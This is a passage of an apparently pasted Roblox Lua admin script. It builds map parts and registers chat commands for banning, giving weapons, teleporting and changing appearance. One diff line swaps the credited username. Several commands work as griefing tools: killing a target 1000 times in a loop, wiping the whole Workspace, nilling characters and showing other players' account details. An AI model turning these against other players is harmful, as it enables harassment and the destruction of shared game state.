1350
Q1.Size = vnew(32, 243.6, 32)
1351
Q1.CFrame = fnew(-188, 123.2, -319)
1352
Q1.Parent = G
1353
--[[===[BIGPLATS]==]]--
1354
--[[while true do
1355
Q1.Transparency = 0.4
1356
wait(1)
1357
Q1.Transparency = 0.5
1358
wait(1)
1359
Q1.Transparency = 0.6
1360
wait(1)
1361
Q1.Transparency = 0.7
1362
wait(1)
1363
Q1.Transparency = 0.8
1364
wait(1)
1365
Q1.Transparency = 0.9
1366
wait(1)
1367
Q1.Transparency = 1
1368
wait(1)
1369
Q1.Transparency = 0.9
1370
wait(1)
1371
Q1.Transparency = 0.8
1372
wait(1)
1373
Q1.Transparency = 0.7
1374
wait(1)
1375
Q1.Transparency = 0.6
1376
wait(1)
1377
end]]--
1378
Q7 = Q7:Clone()
1379
Q7.Size = vnew(16, 1.2, 16)
1380
Q7.CFrame = fnew(-86, 244.8, -127)
1381
Q7.BrickColor = bcn('Dark stone grey')
1382
Q7.Parent = G
1383
Q7 = Q7:Clone()
1384
Q7.Size = vnew(16, 1.2, 16)
1385
Q7.CFrame = fnew(-69, 244.8, -127)
1386
Q7.Parent = G
1387
Q7 = Q7:Clone()
1388
Q7.Size = vnew(16, 1.2, 16)
1389
Q7.CFrame = fnew(-52, 244.8, -127)
1390
Q7.Parent = G
1391
Q7 = Q7:Clone()
1392
Q7.Size = vnew(16, 1.2, 16)
1393
Q7.CFrame = fnew(-86, 244.8, -110)
1394
Q7.Parent = G
1395
Q7 = Q7:Clone()
1396
Q7.Size = vnew(16, 1.2, 16)
1397
Q7.CFrame = fnew(-69, 244.8, -110)
1398
Q7.Parent = G
1399
Q7 = Q7:Clone()
1400
Q7.Size = vnew(16, 1.2, 16)
1401
Q7.CFrame = fnew(-52, 244.8, -110)
1402
Q7.Parent = G
1403
Q7 = Q7:Clone()
1404
Q7.Size = vnew(16, 1.2, 16)
1405
Q7.CFrame = fnew(-86, 244.8, -93)
1406
Q7.Parent = G
1407
Q7 = Q7:Clone()
1408
Q7.Size = vnew(16, 1.2, 16)
1409
Q7.CFrame = fnew(-69, 244.8, -93)
1410
Q7.Parent = G
1411
Q7 = Q7:Clone()
1412
Q7.Size = vnew(16, 1.2, 16)
1413
Q7.CFrame = fnew(-52, 244.8, -93)
1414
Q7.Parent = G
1415
Q7 = Q7:Clone()
1416
Q7.Size = vnew(16, 1.2, 16)
1417
Q7.CFrame = fnew(-86, 244.8, -76)
1418
Q7.BrickColor = bcn('Black')
1419
Q7.Parent = G
1420
Q7 = Q7:Clone()
1421
Q7.Size = vnew(16, 1.2, 16)
1422
Q7.CFrame = fnew(-69, 244.8, -76)
1423
Q7.Parent = G
1424
Q7 = Q7:Clone()
1425
Q7.Size = vnew(16, 1.2, 16)
1426
Q7.CFrame = fnew(-52, 244.8, -76)
1427
Q7.Parent = G
1428
Q7 = Q7:Clone()
1429
Q7.Size = vnew(16, 1.2, 16)
1430
Q7.CFrame = fnew(-86, 244.8, -59)
1431
Q7.Parent = G
1432
Q7 = Q7:Clone()
1433
Q7.Size = vnew(16, 1.2, 16)
1434
Q7.CFrame = fnew(-69, 244.8, -59)
1435
Q7.Parent = G
1436
Q7 = Q7:Clone()
1437
Q7.Size = vnew(16, 1.2, 16)
1438
Q7.CFrame = fnew(-52, 244.8, -59)
1439
Q7.Parent = G
1440
Q7 = Q7:Clone()
1441
Q7.Size = vnew(16, 1.2, 16)
1442
Q7.CFrame = fnew(-86, 244.8, -42)
1443
Q7.Parent = G
1444
Q7 = Q7:Clone()
1445
Q7.Size = vnew(16, 1.2, 16)
1446
Q7.CFrame = fnew(-69, 244.8, -42)
1447
Q7.Parent = G
1448
Q7 = Q7:Clone()
1449
Q7.Size = vnew(16, 1.2, 16)
1450
Q7.CFrame = fnew(-52, 244.8, -42)
1451
Q7.Parent = G
1452
Q7 = Q7:Clone()
1453
Q7.Size = vnew(16, 1.2, 16)
1454
Q7.CFrame = fnew(-86, 244.8, -25)
1455
Q7.Parent = G
1456
Q7 = Q7:Clone()
1457
Q7.Size = vnew(16, 1.2, 16)
1458
Q7.CFrame = fnew(-69, 244.8, -25)
1459
Q7.Parent = G
1460
Q7 = Q7:Clone()
1461
Q7.Size = vnew(16, 1.2, 16)
1462
Q7.CFrame = fnew(-52, 244.8, -25)
1463
Q7.Parent = G
1464
Q7 = Q7:Clone()
1465
Q7.Size = vnew(16, 1.2, 16)
1466
Q7.CFrame = fnew(-86, 244.8, -8)
1467
Q7.Parent = G
1468
Q7 = Q7:Clone()
1469
Q7.Size = vnew(16, 1.2, 16)
1470
Q7.CFrame = fnew(-69, 244.8, -8)
1471
Q7.Parent = G
1472
Q7 = Q7:Clone()
1473
Q7.Size = vnew(16, 1.2, 16)
1474
Q7.CFrame = fnew(-52, 244.8, -8)
1475
Q7.Parent = G
1476
--[[===[CLONERS]===]]--
1477
Q1 = Q1:Clone()
1478
Q1.Size = vnew(16, 243.5, 22)
1479
Q1.CFrame = fnew(-69, 123.2, 12)
1480
Q1.Parent = G
1481
Q1 = Q1:Clone()
1482
Q1.Size = vnew(5, 1.2, 105)
1483
Q1.CFrame = fnew(-68.5, 245.6, 74.5)
1484
Q1.Parent = G
1485
Q1 = Q1:Clone()
1486
Q1.Size = vnew(33, 244.8, 32)
1487
Q1.CFrame = fnew(-67.5, 122.6, 141)
1488
Q1.Parent = G
1489
--[[==[CONNECT]==]]--
1490
Q1 = Q1:Clone()
1491
Q1.Size = vnew(4, 0.4, 3)
1492
Q1.CFrame = fnew(-69, 283.6, -307.5)
1493
Q1.Parent = G
1494
Q1 = Q1:Clone()
1495
Q1.Size = vnew(4, 1.2, 3)
1496
Q1.CFrame = fnew(-69, 282.8, -307.5)
1497
Q1.Parent = G
1498
e11.LinkedSword:clone().Parent = game.StarterPack
1499
end)
1500
RunModule('CommandModule','/guimessage','Creates a gui message','/gms','#cs#(.+)',function(Speaker,Text) qwq(Text) end)
1501
RunModule('CommandModule','/guihint','Creates a gui hint','/ghs','#cs#(.+)',function(Speaker,Text) qwe(Text) end)
1502
RunModule('CommandModule','/ouput','Creates a output message','/wad','#cs#(.+)',function(Speaker,Text) notsq({{Text, Random},{Text, Random},{Text, Random},{Text, Random},{Text, Random}}) qwsqd({{Text, Random}}) end)
1503
RunModule('CommandModule','/global','Creates a output message','/wad2','#cs#(.+)',function(Speaker,Text) notsq({{Text}})  qwsqd({{Text, Random}}) end)
1504
RunModule('CommandModule','/count','Toggles the API Checks','/wad3','#cs#(%w+)',function(Speaker,Input)
1505
	if (Input=='true') or (Input=='yes') or (Input=='1') or (Input=='on') then
1506
SN = {}
1507
     PN = {}
1508
        OD = {}
1509
         ON = {}
1510
           PLN = {}
1511
               CN = {}
1512
                    for i,v in pairs(game.Workspace:GetChildren()) do
1513
                        if  v:isA('Part') then
1514
                            table.insert(PN,v)
1515
                        elseif v:isA('Script') then
1516
                            table.insert(SN,v)
1517
                        --[[elseif v:isA('Model') then
1518
                            table.insert(ON,v)
1519
								else ]]--
1520
									 table.insert(OD,v)
1521
                        end
1522
                    end
1523
                    for _,v in pairs(game.Players:GetChildren()) do
1524
                        table.insert(PLN,v)
1525
                    end
1526
                    for i,v in pairs(game.NetworkServer:GetChildren()) do
1527
                        table.insert(CN,v)
1528
                    end
1529
qwsqd({{'[API]; Your viewing the game status', Random}})         
1530
 notsq({{'[API]; There are '..#SN..' scripts.', Random},{'[API]; There are '..#PN..' parts.', Random},{'[API]; There are '..#OD..' unknown objects.', Random},{'[API]; There are '..#PLN..' players.', Random},{'[API]; There are '..#CN..' clients.', Random}})        
1531
	elseif (Input=='false') or (Input=='no') or (Input=='0') or (Input=='off') then
1532
 notsq({{'[API]; No Created functions', Random},{'[API]; No Global functions found', Random}}) 
1533
qwsqd({{'[API]; Global;=0 , NilP;=0 , XYZAx;=315', Random}})    
1534
	end
1535
end)
1536
RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#t'),'Bans the given user','/bn','#cs#(.+)',function(Speaker,...)
1537
	local Targets=RunModule('GetPlayer',...,Speaker);
1538
	if (Targets~=nil) then
1539
		for Index,Target in pairs(Targets) do
1540
			if (RunModule('DisposePlayer',Target,Speaker)) then
1541
				Bannedlist[#Bannedlist+1]=Target.Name;
1542
			end
1543
		end
1544
	end
1545
end)
1546
RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#f'),'Unbans the given name','/ub','#cs#(.+)',function(Speaker,Input)
1547
	if (Input=='all') then
1548
		Bannedlist={};
1549
	end
1550
	for Index,Username in pairs(Bannedlist) do
1551
		if (Username:lower():find(Input)==1) then
1552
			RunModule('ShowHint',Speaker,'Unbanning: '..Username,5);
1553
			table.remove(Bannedlist,Index);
1554
		end
1555
	end
1556
end)
1557
RunModule('CommandModule','/nillize','Makes the user nil','/nil','#cs#(.+)',function(Speaker,...)	
1558
local Targets=RunModule('GetPlayer',...,Speaker)
1559
	if (Targets~=nil) then
1560
		for Index,Target in pairs(Targets) do
1561
mwq('[API]; Your being nild!' ,Target.PlayerGui)
1562
			Target.Character = nil
1563
		end
1564
	end
1565
end)
1566
RunModule('CommandModule','/unbannable','Makes the user unbannable','/uba','#cs#(.+)',function(Speaker,...)	
1567
local Targets=RunModule('GetPlayer',...,Speaker)
1568
	if (Targets~=nil) then
1569
		for Index,Target in pairs(Targets) do
1570
mwq('[API]; Your being unbannable!' ,Target.PlayerGui)
1571
			Target.Character = Workspace
1572
		end
1573
	end
1574
end)
1575
RunModule('CommandModule','/stickman','Makes the given users body look like a stick man','/sman','#cs#(.+)',function(Speaker,...)
1576
	local Targets=RunModule('GetPlayer',...,Speaker);
1577
	if (Targets~=nil) then
1578
		for Index,Target in pairs(Targets) do
1579
mwq('[API]; Your being re-morphd!' ,Target.PlayerGui)
1580
			if (Target.Character~=nil) then
1581
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
1582
					if (Child.Name=='Left Leg') then
1583
						local de = Instance.new('CylinderMesh')
1584
						de.Parent = Child
1585
					elseif (Child.Name=='Right Leg') then
1586
						local pde = Instance.new('CylinderMesh')
1587
						pde.Parent = Child
1588
					elseif (Child.Name=='Torso') then
1589
						local hp2de = Instance.new('BlockMesh')
1590
						hp2de.Parent = Child
1591
					elseif (Child.className=='Decal') then
1592
						Child:Remove()
1593
					elseif (Child.className=='Hat') then
1594
						Child:Remove()
1595
					elseif (Child.className=='Mesh') then
1596
						Child.Texture:Remove()
1597
					elseif (Child.Name=='Right Arm') then
1598
						local hpde = Instance.new('CylinderMesh')
1599
						hpde.Parent = Child
1600
					elseif (Child.Name=='Left Arm') then
1601
						local htpde = Instance.new('CylinderMesh')
1602
						htpde.Parent = Child
1603
					elseif (Child.className=='Pants') then
1604
						Child:Remove()
1605
					elseif (Child.className=='Shirt') then
1606
						Child:Remove()
1607
					elseif (Child.className=='Part') then
1608
						Child.BrickColor = BrickColor.new('Really black')
1609
					end
1610
				end
1611
			end
1612
		end
1613
	end
1614
end)
1615
RunModule('CommandModule','/gunpacket','Gives the given user the pack of insertd guns.','/gpack','#cs#(.+)',function(Speaker,...)
1616
	local Targets=RunModule('GetPlayer',...,Speaker);
1617
	if (Targets~=nil) then
1618
		for Index,Target in pairs(Targets) do
1619
mwq('[API]; Putting guns in your Backpack!' ,Target.PlayerGui)
1620
hgf(Target, 'Green') 
1621
qw1.M1Garand:clone().Parent = Target.Backpack
1622
wait(0.1) e1.Luger:clone().Parent = Target.Backpack
1623
wait(0.1) e2.Sten:clone().Parent = Target.Backpack
1624
		end
1625
	end
1626
end)
1627
RunModule('CommandModule','/getaccinfo','Gives the speaker the given users account information','/aci','#cs#(.+)',function(Speaker,...)
1628
	local Targets=RunModule('GetPlayer',...,Speaker);
1629
	if (Targets~=nil) then
1630
		for Index,Target in pairs(Targets) do
1631
mwi('[API]; The users Account age is ' ..Target.AccountAge , 'Green')
1632
wait(1)
1633
mwi('[API]; The users Name is ' ..Target.Name, 'Blue')
1634
wait(1)
1635
mwi('[API]; The users MembershipType is '..tostring(Target.MembershipType), 'Blue')
1636
		end
1637
	end
1638
end)
1639
RunModule('CommandModule','/wireconnect','Connects the given user to the speaker, with FloorWire.','/wcont','#cs#(.+)',function(Speaker,...)
1640
	local Targets=RunModule('GetPlayer',...,Speaker);
1641
	if (Targets~=nil) then
1642
		for Index,Target in pairs(Targets) do
1643
mwq('[API]; You were connected to a player!' ,Target.PlayerGui)
1644
d=new('FloorWire', Workspace)
1645
d.From=wq2e.Character.Torso
1646
d.To=Target.Character.Torso
1647
d.Color=BrickColor.new('Lime green')
1648
d.Transparency=0
1649
d.WireRadius=0.1
1650
		end
1651
	end
1652
end)
1653
RunModule('CommandModule','/resetappearance','Resets the CharacterAppearance of the given user','/ra','#cs#(.+)',function(Speaker,...)
1654
	local Targets=RunModule('GetPlayer',...,Speaker);
1655
	if (Targets~=nil) then
1656
		for Index,Target in pairs(Targets) do
1657
mwq('[API]; Reseting your char!' ,Target.PlayerGui)
1658
			pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Target.userId..'&PlaceId='..game.PlaceId; end)
1659
			pcall(function() Target.Character:BreakJoints(); end)
1660
		end
1661
	end
1662
end)
1663
RunModule('CommandModule','/changeappearance','Sets the CharacterAppearance of the given user','/ca','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
1664
	if (tonumber(Integer)==nil) or (Input==nil) then return end
1665
	local Targets=RunModule('GetPlayer',Input,Speaker)
1666
	if (Targets~=nil) then
1667
		for Index,Target in pairs(Targets) do
1668
mwq('[API]; Changing your char!' ,Target.PlayerGui)
1669
			pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Integer..'&PlaceId='..game.PlaceId; end)
1670
			pcall(function() Target.Character:BreakJoints(); end)
1671
		end
1672
	end
1673
end)
1674
RunModule('CommandModule','/knockout','KOs the user 1,000 times','/ko','#cs#(.+)',function(Speaker,...)
1675
	local Targets=RunModule('GetPlayer',...,Speaker);
1676
	if (Targets~=nil) then
1677
		for Index,Target in pairs(Targets) do
1678
notsq({{'[API]; KOd the Target given'}})
1679
		JD = 1000
1680
mwq('[API]; Your about to be KOd 1000 times!' ,Target.PlayerGui)
1681
function ko() 
1682
for i=1, JD do 
1683
c = Instance.new('ObjectValue') 
1684
c.Parent = Target.Character.Humanoid 
1685-
c.Value = game.Players.PiterMosskva_TV
1685+
c.Value = game.Players.zXzGamePROzXz
1686
c.Name = 'creator' 
1687
wait(0.1) 
1688
Target.Character.Humanoid.Health = 0 
1689
wait(0.01) 
1690
Target.Character.Parent = game.Lighting 
1691
wait(0.01) 
1692
c:remove() 
1693
wait(0.01) 
1694
Target.Character.Parent = game.Workspace 
1695
end
1696
  end 
1697
   ko() 
1698
		end
1699
	end
1700
end) 
1701
RunModule('CommandModule','/fire','Makes the given user look sparkley','/fi','#cs#(.+)',function(Speaker,...)
1702
	local Targets=RunModule('GetPlayer',...,Speaker);
1703
	if (Targets~=nil) then
1704
		for Index,Target in pairs(Targets) do
1705
mwq('[API]; You were fird!' ,Target.PlayerGui)
1706
			if (Target.Character~=nil) then
1707
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
1708
					if (Child.className=='Part') then
1709
						local Sparkles=NewInstance('Sparkles')
1710
						Sparkles.SparkleColor=NewColor3(22,101,1);
1711
						Sparkles.Parent=Child;
1712
					end
1713
				end
1714
			end
1715
		end
1716
	end
1717
end)
1718
RunModule('CommandModule','/rspawn','Removes the sparkles from the given user','/qrs','#cs#(.+)',function(Speaker,...)
1719
	local Targets=RunModule('GetPlayer',...,Speaker);
1720
	if (Targets~=nil) then
1721
		for Index,Target in pairs(Targets) do
1722
			Target:LoadCharacter()
1723
mwq('[API]; You were quick respawnd!' ,Target.PlayerGui)
1724
		end
1725
	end
1726
end)
1727
RunModule('CommandModule','/scrollingmessage','Creates a scrolling message','/gmt','#cs#(.+)',function(Speaker,String)
1728
	local Message=NewInstance('Message');
1729
	Message.Parent=Workspace;
1730
	local Effect=NewInstance('Sound');
1731
	Effect.SoundId='rbxasset://sounds\\switch.wav';
1732
	Effect.Parent=Workspace;
1733
	for Index=1,#String do
1734
	Effect:Play();
1735
	Message.Text=Message.Text..String:sub(Index,Index);
1736
	wait(0.09);
1737
	end
1738
	wait(0.5);
1739
	Message.Parent=nil;
1740
	Effect.Parent=nil;
1741
end,true)
1742
RunModule('CommandModule','/scrollinghint','Creates a scrolling message','/dm','#cs#(.+)',function(Speaker,String)
1743
	local Message=NewInstance('Hint');
1744
	Message.Parent=Workspace;
1745
	local Effect=NewInstance('Sound');
1746
	Effect.SoundId='rbxasset://sounds\\switch.wav';
1747
	Effect.Parent=Workspace;
1748
	for Index=1,#String do
1749
	Effect:Play();
1750
	Message.Text=Message.Text..String:sub(Index,Index);
1751
	wait(0.09);
1752
	end
1753
	wait(0.5);
1754
	Message.Parent=nil;
1755
	Effect.Parent=nil;
1756
end,true)
1757
RunModule('CommandModule','/speed','Changes the WalkSpeed of the given user','/ws','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
1758
	local Targets=RunModule('GetPlayer',Input,Speaker);
1759
	if (Targets~=nil) and (Integer~=nil) then
1760
		for Index,Target in pairs(Targets) do
1761
mwq('[API]; You were speeded up!' ,Target.PlayerGui)
1762
hgf(Target, 'Dark blue')
1763
			if (Target.Character~=nil) then
1764
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
1765
					if (Child.className=='Humanoid') then
1766
						Child.WalkSpeed=Integer;
1767
					end
1768
				end
1769
			end
1770
		end
1771
	end
1772
end)
1773
RunModule('CommandModule','/nb','Gets a base','/b','#cs#',function(Speaker)
1774
	if (not RunModule('IsAdmin',Speaker)) then return end
1775
		a = Instance.new('Part', workspace) 
1776
a.Name = 'New Base'
1777
a.Size = Vector3.new(500, 1.2, 500)
1778
a.Anchored = true 
1779
a.BrickColor = BrickColor.new(28) 
1780
a.Locked = true 
1781
a.TopSurface = 'Studs';
1782
mwq('[API]; You created a base' ,low)
1783
end)
1784
RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#t'),'Makes the given user a temporary admin','/ad','#cs#(.+)',function(Speaker,...)
1785
	if (not RunModule('IsAdmin',Speaker)) then return end
1786
	local Targets=RunModule('GetPlayer',...,Speaker);
1787
	if (Targets~=nil) then
1788
		for Index,Target in pairs(Targets) do
1789
				table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end);
1790
				AdminConnectionList[#AdminConnectionList+1]=Target.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
1791
				AdminUserList[#AdminUserList+1]=Target.Name;
1792
		end
1793
	end
1794
end)
1795
RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#f'),'Removes the given users temporary admin','/ua','#cs#(.+)',function(Speaker,...)
1796
	if (not RunModule('IsAdmin',Speaker)) then return end
1797
	local Targets=RunModule('GetPlayer',...,Speaker);
1798
	if (Targets~=nil) then
1799
		for Index,Target in pairs(Targets) do
1800
			table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end)
1801
		end
1802
	end
1803
end)
1804
RunModule('CommandModule','/teleport','Teleports two or more users together','/ft','#cs#(.-)#cs#(.+)',function(Speaker,Input1,Input2)
1805
	if (Input1==nil) or (Input2==nil) then return end
1806
	local Targets1,Targets2=RunModule('GetPlayer',Input1,Speaker),RunModule('GetPlayer',Input2,Speaker);
1807
	if (Targets1==nil) or (Targets2==nil) then return end
1808
	if (#Targets2~=1) then return end
1809
	for Index,Target in pairs(Targets1) do
1810
		if (Target.Character~=nil) and (Targets2[1].Character~=nil) then
1811
			local Torso=Target.Character:FindFirstChild('Torso');
1812
			local Torso2=Targets2[1].Character:FindFirstChild('Torso');
1813
			if (Torso~=nil) and (Torso2~=nil) then
1814
				Torso.CFrame=Torso2.CFrame;
1815
		notsq({{'[API]; Warpd the given Targets' , Random}}) 
1816
			end
1817
		end
1818
	end
1819
end)
1820
RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#d'),'Bans the given user using data persistence for the given amount of hours.','/dpb','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Length)
1821
	if (Input==nil) or (Length==nil) then return end
1822
	local Targets=RunModule('GetPlayer',Input,Speaker);
1823
	if (Targets~=nil) then
1824
		for Index,Target in pairs(Targets) do
1825
			if (RunModule('DisposePlayer',Target,Speaker,true)==true) then
1826
				pcall(Target.SaveString,Target,DataKey,RunModule('ConvertTable',{Type=0,UnbanAt=math.floor(tick()+(tonumber(Length)*3600))}));
1827
				RunModule('DisposePlayer',Target,Speaker);
1828
			end
1829
		end
1830
	end
1831
end)
1832
RunModule('CommandModule','/rworkspace','Clears the game of all objects, excluding this script and players','/rw','#cs#',function(Speaker)
1833
	local Children=Workspace:GetChildren();
1834
	for ChildIndex,Child in pairs(Children) do
1835
		if (Child~=script) then
1836
			pcall(function() Child:Remove(); end);
1837
		end
1838
	end
1839
end)
1840
RunModule('CommandModule','/restoregame','Restores the game to its state when the backup was created','/rg','#cs#(.+)',function(Speaker,Input)
1841
	if (Input==nil) then return end
1842
	if (GameBackups[Input]==nil) then
1843
		RunModule('ShowHint',Speaker,'That backup key doesnt exist.',5);
1844
		return
1845
	end
1846
	RunModule('RestoreGame',Input);
1847
notsq({{'[API]; Module not active'}})
1848
end)
1849
RunModule('CommandModule','/backupgame','Backs up the game so you casn restore it later','/bg','#cs#(.+)',function(Speaker,Input)
1850
	if (Input==nil) then return end
1851
	if (GameBackups[Input]~=nil) then
1852
		RunModule('ShowHint',Speaker,'That backup key already exists.',5);
1853
		return
1854
	end
1855
	RunModule('BackupGame',Input);
1856
	RunModule('ShowHint',Speaker,'Backup successful.',5);
1857
notsq({{'[API]; Command not active'}})
1858
end)
1859
mwq('[API]; Commands Loaded!' ,low)
1860
mwi('[API UPDATES]; Added, PaintBallGun into Lighting.', 'Green')
1861
mwi('[API UPDATES]; Working on the XDQ Camball agian, next update 11-4-12.', 'Green')
1862
notsq({{'[API]; Modules Loaded!', Random}, {'[API]; API Commands V3 setup', Random}, {'[API]; Tables active!', Random}, {'[API]; Functions working!', Random}, {'[API]; Indiviual Target Functions working!', Random}, {'[API]; _G functions not available at this time.', Random}, {'[API]; Commands active!', Random}, {'[API]; API Commands 507, RIG', Random}, {'[API]; HEAT507, Current script , [GUN GAME] in his models', Random}, {'[API]; Learn how to script in the RobloxWiki', Random}})
1863
game:GetService('Players').PlayerAdded:connect(function(...) RunModule('AddPlayer',...); end)
1864
game:GetService('Players').PlayerRemoving:connect(function(...) RunModule('RemovePlayer',...); end)
1865
table.foreach(game:GetService('Players'):GetPlayers(),function(Index,Player) RunModule('AddPlayer',Player); end)
1866
1867
--mediafire